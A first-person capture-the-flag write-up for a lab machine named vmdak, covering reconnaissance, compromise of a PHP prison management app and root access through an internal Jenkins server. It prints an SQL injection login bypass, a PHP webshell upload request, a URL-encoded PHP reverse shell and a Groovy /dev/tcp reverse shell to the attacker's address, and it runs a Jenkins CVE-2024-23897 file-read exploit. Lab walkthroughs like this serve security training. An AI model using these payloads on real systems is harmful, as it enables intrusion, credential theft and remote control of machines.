vmdak

Target IP: 192.168.206.103
Challenge Description: N/A.


Reconnaissance

bbabe038f879a79d09c3ae529bb0394c.png
Performing a TCP port scan using the command sudo nmap -sS 192.168.206.103 -p- returns the result shown in the image above. There are four TCP ports open on the target machine.

┌──(kali㉿kali)-[~/Desktop/Labs/CTFs/vmdak]
└─$ sudo nmap -sV -A 192.168.206.103 -p 21,22,80,9443
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-06 11:43 EST
Stats: 0:00:08 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 11:44 (0:00:06 remaining)
Nmap scan report for 192.168.206.103
Host is up (0.028s latency).

PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      vsftpd 3.0.5
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.45.206
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp   open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 76:18:f1:19:6b:29:db:da:3d:f6:7b:ab:f4:b5:63:e0 (ECDSA)
|_  256 cb:d8:d6:ef:82:77:8a:25:32:08:dd:91:96:8d:ab:7d (ED25519)
80/tcp   open  http     Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.58 (Ubuntu)
9443/tcp open  ssl/http Apache httpd 2.4.58 ((Ubuntu))
|_http-title:  Home - Prison Management System
|_http-server-header: Apache/2.4.58 (Ubuntu)
| ssl-cert: Subject: commonName=vmdak.local/organizationName=PrisonManagement/stateOrProvinceName=California/countryName=US
| Subject Alternative Name: DNS:vmdak.local
| Not valid before: 2024-08-20T09:21:33
|_Not valid after:  2025-08-20T09:21:33
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.8 (95%), Linux 5.0 (95%), Linux 5.0 - 5.4 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (94%), Linux 3.2 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), HP P2000 G3 NAS device (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)
HOP RTT      ADDRESS
1   11.52 ms 192.168.45.1
2   11.37 ms 192.168.45.254
3   11.56 ms 192.168.251.1
4   11.74 ms 192.168.206.103

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.41 seconds
┌──(kali㉿kali)-[~/Desktop/Labs/CTFs/vmdak]
└─$ sudo nmap -sV -A 192.168.206.103 -p 21,22,80,9443
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-06 11:43 EST
Stats: 0:00:08 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 11:44 (0:00:06 remaining)
Nmap scan report for 192.168.206.103
Host is up (0.028s latency).

PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      vsftpd 3.0.5
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.45.206
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp   open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 76:18:f1:19:6b:29:db:da:3d:f6:7b:ab:f4:b5:63:e0 (ECDSA)
|_  256 cb:d8:d6:ef:82:77:8a:25:32:08:dd:91:96:8d:ab:7d (ED25519)
80/tcp   open  http     Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.58 (Ubuntu)
9443/tcp open  ssl/http Apache httpd 2.4.58 ((Ubuntu))
|_http-title:  Home - Prison Management System
|_http-server-header: Apache/2.4.58 (Ubuntu)
| ssl-cert: Subject: commonName=vmdak.local/organizationName=PrisonManagement/stateOrProvinceName=California/countryName=US
| Subject Alternative Name: DNS:vmdak.local
| Not valid before: 2024-08-20T09:21:33
|_Not valid after:  2025-08-20T09:21:33
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.8 (95%), Linux 5.0 (95%), Linux 5.0 - 5.4 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (94%), Linux 3.2 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), HP P2000 G3 NAS device (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)
HOP RTT      ADDRESS
1   11.52 ms 192.168.45.1
2   11.37 ms 192.168.45.254
3   11.56 ms 192.168.251.1
4   11.74 ms 192.168.206.103

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.41 seconds

Performing an aggressive TCP port scan using the command sudo nmap -sV -A 192.168.206.103 -p 21,22,80,9443 returns the result shown in the output above. The target machine seems to be running vsftpd 3.0.5 FTP application on port 21. This FTP allows authentication using the username ftp without password. I will need to enumerate this application further. On port 22, the SSH application OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 is being served. The target machine is serving web applications on ports 80 and 9443. It seems to be using Apache httpd 2.4.58. On port 80, the default Apache webpage is being returned. However, on port 9443, a web application by the name Home - Prison Management System is being served via HTTPs. The hostname is likely vmdak.local according to the HTTPs scan.


Enumeration

Port 21: FTP
a4f292ea7d06d3d1eb16f8ed6958872e.png
I connected to the FTP application using the command ftp 192.168.206.103 as the user ftp and blank password. After connecting successfully, I notice there is one file called config.xml. I downloaded this file on my machine using the command get config.xml. This file contains the following:

<?xml version='1.1' encoding='UTF-8'?>
<hudson>
  <disabledAdministrativeMonitors/>
  <version>2.401.2</version>
  <numExecutors>2</numExecutors>
  <mode>NORMAL</mode>
  <useSecurity>true</useSecurity>
  <authorizationStrategy class="hudson.security.FullControlOnceLoggedInAuthorizationStrategy">
    <denyAnonymousReadAccess>false</denyAnonymousReadAccess>
  </authorizationStrategy>
  <securityRealm class="hudson.security.HudsonPrivateSecurityRealm">
    <disableSignup>true</disableSignup>
    <enableCaptcha>false</enableCaptcha>
  </securityRealm>
  <disableRememberMe>false</disableRememberMe>
  <projectNamingStrategy class="jenkins.model.ProjectNamingStrategy$DefaultProjectNamingStrategy"/>
  <workspaceDir>${JENKINS_HOME}/workspace/${ITEM_FULL_NAME}</workspaceDir>
  <buildsDir>${ITEM_ROOTDIR}/builds</buildsDir>
  <jdks/>
  <viewsTabBar class="hudson.views.DefaultViewsTabBar"/>
  <myViewsTabBar class="hudson.views.DefaultMyViewsTabBar"/>
  <clouds/>
  <InitialRootPassword>/root/.jenkins/secrets/initialAdminPassword></InitialRootPassword>
  <scmCheckoutRetryCount>0</scmCheckoutRetryCount>
  <views>
    <hudson.model.AllView>
      <owner class="hudson" reference="../../.."/>
      <name>all</name>
      <filterExecutors>false</filterExecutors>
      <filterQueue>false</filterQueue>
      <properties class="hudson.model.View$PropertyList"/>
    </hudson.model.AllView>
  </views>
  <primaryView>all</primaryView>
  <slaveAgentPort>-1</slaveAgentPort>
  <label></label>
  <crumbIssuer class="hudson.security.csrf.DefaultCrumbIssuer">
    <excludeClientIPFromCrumb>false</excludeClientIPFromCrumb>
  </crumbIssuer>
  <nodeProperties/>
  <globalNodeProperties/>
  <nodeRenameMigrationNeeded>false</nodeRenameMigrationNeeded>
</hudson>
<?xml version='1.1' encoding='UTF-8'?>
<hudson>
  <disabledAdministrativeMonitors/>
  <version>2.401.2</version>
  <numExecutors>2</numExecutors>
  <mode>NORMAL</mode>
  <useSecurity>true</useSecurity>
  <authorizationStrategy class="hudson.security.FullControlOnceLoggedInAuthorizationStrategy">
    <denyAnonymousReadAccess>false</denyAnonymousReadAccess>
  </authorizationStrategy>
  <securityRealm class="hudson.security.HudsonPrivateSecurityRealm">
    <disableSignup>true</disableSignup>
    <enableCaptcha>false</enableCaptcha>
  </securityRealm>
  <disableRememberMe>false</disableRememberMe>
  <projectNamingStrategy class="jenkins.model.ProjectNamingStrategy$DefaultProjectNamingStrategy"/>
  <workspaceDir>${JENKINS_HOME}/workspace/${ITEM_FULL_NAME}</workspaceDir>
  <buildsDir>${ITEM_ROOTDIR}/builds</buildsDir>
  <jdks/>
  <viewsTabBar class="hudson.views.DefaultViewsTabBar"/>
  <myViewsTabBar class="hudson.views.DefaultMyViewsTabBar"/>
  <clouds/>
  <InitialRootPassword>/root/.jenkins/secrets/initialAdminPassword></InitialRootPassword>
  <scmCheckoutRetryCount>0</scmCheckoutRetryCount>
  <views>
    <hudson.model.AllView>
      <owner class="hudson" reference="../../.."/>
      <name>all</name>
      <filterExecutors>false</filterExecutors>
      <filterQueue>false</filterQueue>
      <properties class="hudson.model.View$PropertyList"/>
    </hudson.model.AllView>
  </views>
  <primaryView>all</primaryView>
  <slaveAgentPort>-1</slaveAgentPort>
  <label></label>
  <crumbIssuer class="hudson.security.csrf.DefaultCrumbIssuer">
    <excludeClientIPFromCrumb>false</excludeClientIPFromCrumb>
  </crumbIssuer>
  <nodeProperties/>
  <globalNodeProperties/>
  <nodeRenameMigrationNeeded>false</nodeRenameMigrationNeeded>
</hudson>

Based on the output above, this seems like a configuration file that belongs to the Jenkins application. It seems to contain the location of the admin password at /root/.jenkins/secrets/initialAdminPassword. The application version 2.401.2 is also provided. Upon doing some research for Jenkins 2.401.2 vulnerabilities, I came across this website. It seems like Jenkins 2.401.2 is vulnerable to LFI which can be escalated to perform RCE.

Port 80: HTTP
b6b06c274b7069259fb7a4f852d6aa21.png
The webpage shown in the image above is returned for this web application on port 80. I checked the source-code of the web application but I didn't find anything. I also performed directory search using multiple wordlists, but I didn't find anything useful. Time to check the other web application on port 9443. I had connection issues with my VPN. The target machine has a new IP of 192.168.177.103.

Port 9443: HTTPs
7005d461e8b8015c1677af8a9eb0d1f2.png
The target machine is running HTTPs on this port. I browsed to https://192.168.177.103:9443. After viewing the certificate, I obtained the hostname vmdak.local as shown in the webpage above. I inserted this hostname inside my /etc/hosts file.

e8f4e7f92fcd57314e5e349d87977a8f.png
After accepting the risks and browsing to https://vmdak.local:9443 using my browser, the webpage shown in the picture above is returned. This is the prison management system application by the looks of it. Right away, I notice the Admin Dashboard. Is this a login interface?

42d6ffef6c963019c90fda4c5d14f5e7.png
After pressing the Admin Dashboard page, the webpage shown in the picture above is returned. I tried the default credentials admin:admin, admin:root, root:root, but I had no luck.

7e1720d0868ea953bb1fe43ff930b2cd.png
However, I bypassed the authentication using SQL Injection. Inside the username field, I used the payload admin' OR '1'='1'-- // to bypass the login mechanism. Inside the password field, I inserted 123. After pressing Sign In, I gained access to the web application without requiring real credentials.

84e3e258e871a47386f5fe66256ceec9.png
After gaining access to the application, the webpage shown in the picture above is returned. I seemed to login as the user Caroline Bassey, who is potentially the admin. And this seems to be true. This user is the admin and their password is admin123.

928d7977823cce811dc21c29bf4c05f8.png
While enumerating the web application further, I came across the webpage shown in the picture above. This page can be accessed by pressing the Leave Management button on the left-hand side of the application. This contains the employees that are on leave. An employee by the name Malcom has left recently. This employee has also left the password RonnyCache001.


Exploitation

Owning the Prison Management System via File Upload Attack
393a5b67021a593f5bddc20e8f2d95a5.png
The web application allows users to change their profile picture, as shown in the image above. To test this functionality, I right-clicked on the current profile picture to grab the link. I obtained the result https://vmdak.local:9443/uploadImage/Profile/User.png. Can I try to upload a malicious PHP script instead, as the web application is built using PHP? I created a PHP file by the name shell.php on my machine. This contains the simple PHP code <?php echo system($_GET['cmd']);?>.

d27a0496a7ea4ad96ae531a002fb1699.png
Upon further analysis, I notice the web application only supports the following types: image/png,image/jpeg,image/jpg. I inserted php inside this, and tried uploading my script, but I had no luck. Time to use burpsuite.

de6659642cc9ca6d715790d0591eae7c.png
b6ddb62870a410b6873ca779e9ba169b.png
On my machine, I started burpsuite. Then I intercepted the HTTP request of Edit Profile Photo after pressing the Save Changes button. Then I removed the content of the image and replaced it the PHP code <?php echo system($_GET['cmd']);?> as shown in the image above. I also changed the file name to be sh3ll.php. After pressing the Send button, I got a HTTP 200 status code. This is the entire request:

POST /Admin/edit-photo.php HTTP/1.1
Host: vmdak.local:9443
Cookie: PHPSESSID=7hig29c4t9krplm7nspeulucbg
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------42216930819521757862779399823
Content-Length: 366
Origin: https://vmdak.local:9443
Referer: https://vmdak.local:9443/Admin/edit-photo.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive

-----------------------------42216930819521757862779399823
Content-Disposition: form-data; name="avatar"; filename="sh3ll.php"
Content-Type: image/png

<?php echo system($_GET['cmd']);?>
-----------------------------42216930819521757862779399823
Content-Disposition: form-data; name="btnsave"


-----------------------------42216930819521757862779399823--
POST /Admin/edit-photo.php HTTP/1.1
Host: vmdak.local:9443
Cookie: PHPSESSID=7hig29c4t9krplm7nspeulucbg
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------42216930819521757862779399823
Content-Length: 366
Origin: https://vmdak.local:9443
Referer: https://vmdak.local:9443/Admin/edit-photo.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive

-----------------------------42216930819521757862779399823
Content-Disposition: form-data; name="avatar"; filename="sh3ll.php"
Content-Type: image/png

<?php echo system($_GET['cmd']);?>
-----------------------------42216930819521757862779399823
Content-Disposition: form-data; name="btnsave"


-----------------------------42216930819521757862779399823--

3431993a42a86ac7674c8d1412bf9200.png
I notice the original profile picture is gone. I right-clicked on the profile picture area, and pressed the Copy Image Link button as shown in the image above. I obtained the URL https://vmdak.local:9443/uploadImage/sh3ll.php. Let's gooo!

7cef8555e025ca0239b0e5586474aef3.png
I pasted the URL in my browser. And bingo. Now I have access to my PHP webshell as shown in the picture above. I issued the commands whoami;id;ls and obtained the result www-data uid=33(www-data) gid=33(www-data) groups=33(www-data) Profile sh3ll.php sh3ll.php as shown in the picture above. The PHP webshell seems to be uploaded at https://vmdak.local:9443/uploadImage/ upon further analysis. Time to obtain a reverse shell connection and obtain a foothold on the target machine :)

738af9cd586add5b507480ff99cee0c2.png
I started a listener on my machine at port 8443. Then I deployed the URL encoded PHP reverse shell php%20-r%20%27%24sock%3Dfsockopen%28%22192.168.45.206%22%2C8443%29%3Bshell_exec%28%22%2Fbin%2Fbash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27. And I instantly obtained a reverse shell connection on port 8443 with the session as www-data as shown in the picture above. I tried to make my shell stable, but I noticed Python is not installed?


Privilege Escalation

Horizontal Privilege Escalation: User www-data to User vmdak via Password Reuse
9a3b943dd7424692ad6fc58fd3f11bb5.png
Earlier, I obtained the password RonnyCache001 during my enumeration. I notice there is one user called vmdak on the machine. Using the command su vmdak and the password RonnyCache001, I got a hit. I managed to successfully elevate my privileges from www-data to the user vmdak horizontally.

e3bcb1ca170cc65e56821df71331d1ac.png
Since SSH is already open on port 22, I connected to the target machine's SSH application as the user vmdak as shown in the picture above. And bingo. Now I have a stable SSH foothold on the target machine as the user vmdak.

Vertical Privilege Escalation: User vmdak to User root via Jenkins Script Console and CVE-2024-23897

0782cd1f1f286ceb027e9969d5b25806.png
I ran the command ps -auxw and obtained the result shown in the picture above. The entry /usr/bin/java -jar /root/jenkins.war --httpPort=8080 --httpListenAddress=127.0.0.1 is the most interesting to me. It looks like the application Jenkins is being served internally only on port 8080 on localhost with the context of user root. Since I have SSH credentials, I can expose this service externally to my machine via SSH Local Port Forwarding. Hmmm.

92cee6b441cffd0432038d44b5dac2c5.png
Running the command netstat -nato returns the output shown in the picture above. And it seems to be correct. This port is open locally. Time to expose it externally.

243ef5971eae1f442abdb5807afb0640.png
To setup the SSH local port forwarding, I used the command ssh -L 8081:localhost:8080 vmdak@192.168.177.103 -N on my machine. The traffic from port 8080 is forwarded to my machine at port 8081. To confirm it, I had to enter the password RonnyCache001. The flag -N is used to not open a terminal shell. Performing a port scan against the port 8081 using the command sudo nmap -sV -A localhost -p 8081 returns Jetty 10.0.13.

40c28e7d5cfcc298df67aafa9a76935f.png
Browsing to http://localhost:8081 returned the webpage shown in the picture above. This webpage seems to ask the administrator password. Earlier, I obtained the location of the Jenkins administrator password /root/.jenkins/secrets/initialAdminPassword. This location was located inside the config.xml file. I ran multiple commands to find the password file, but I had no luck. This seems to be located inside the /root directory, which I do not have enough permission. However, I identified the Jenkins application is vulnerable to LFI. Upon further research, I noticed this is a file read vulnerability. This vulnerability allows unauthenticated users to read arbitrary files on the Jenkins system. Could I attempt to read the administrator password using this? I came across a bunch of exploits, but they didn't work except for this one. This is the only exploit that worked.

e98c3d86b1bc537e6eff9336627a1b21.png
I downloaded the exploit on my machine. Then I saved it as the file exp.py. I ran the command python3 exp.py -u http://127.0.01:8081/ -f /etc/passwd to read the /etc/passwd file on the target machine. And bingo. It successfully read the /etc/passwd file.

178d88db2610e63770ca9e54df15e3ff.png
To read the administrator password, I ran the command python3 exp.py -u http://127.0.01:8081/ -f /root/.jenkins/secrets/initialAdminPassword. And bingo. I obtained the password 140ef31373034d19a77baa9c6b84a200. This looks like the password now. This same exploit can be used to read the flag proof.txt too without having to obtain root privileges ;) Using this password, I managed to gain access to the Jenkins application now :)

93d37b9a1f4abee00c1382bc07bed730.png
However, a blank white screen is returned to me. To defeat this, I browsed to http://localhost:8081/manage/ to manage the application settings. Now I have access to the settings of the application.

da66f48b51d60d948420f125349f8658.png
Since the application is being executed as the user root, I can obtain a root shell using the Script Console feature. This feature seems to be enabled. I started a listener on my machine at port 8444. Time to deploy the reverse shell connection.

39909472955d8c2b5af0b8a74860afad.png
Inside the Script Console, I deployed the following script:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.45.206/8444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.45.206/8444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

And bingo. I obtained a reverse shell connection with the session as root on port 8444. Now I have a root shell on the target machine by using the Script Console feature of Jenkins :)


Flags

c6efcef1dfa2fa9252cbb7181b3eefe7.png
The two flags, proof.txt and local.txt, are shown in the picture above.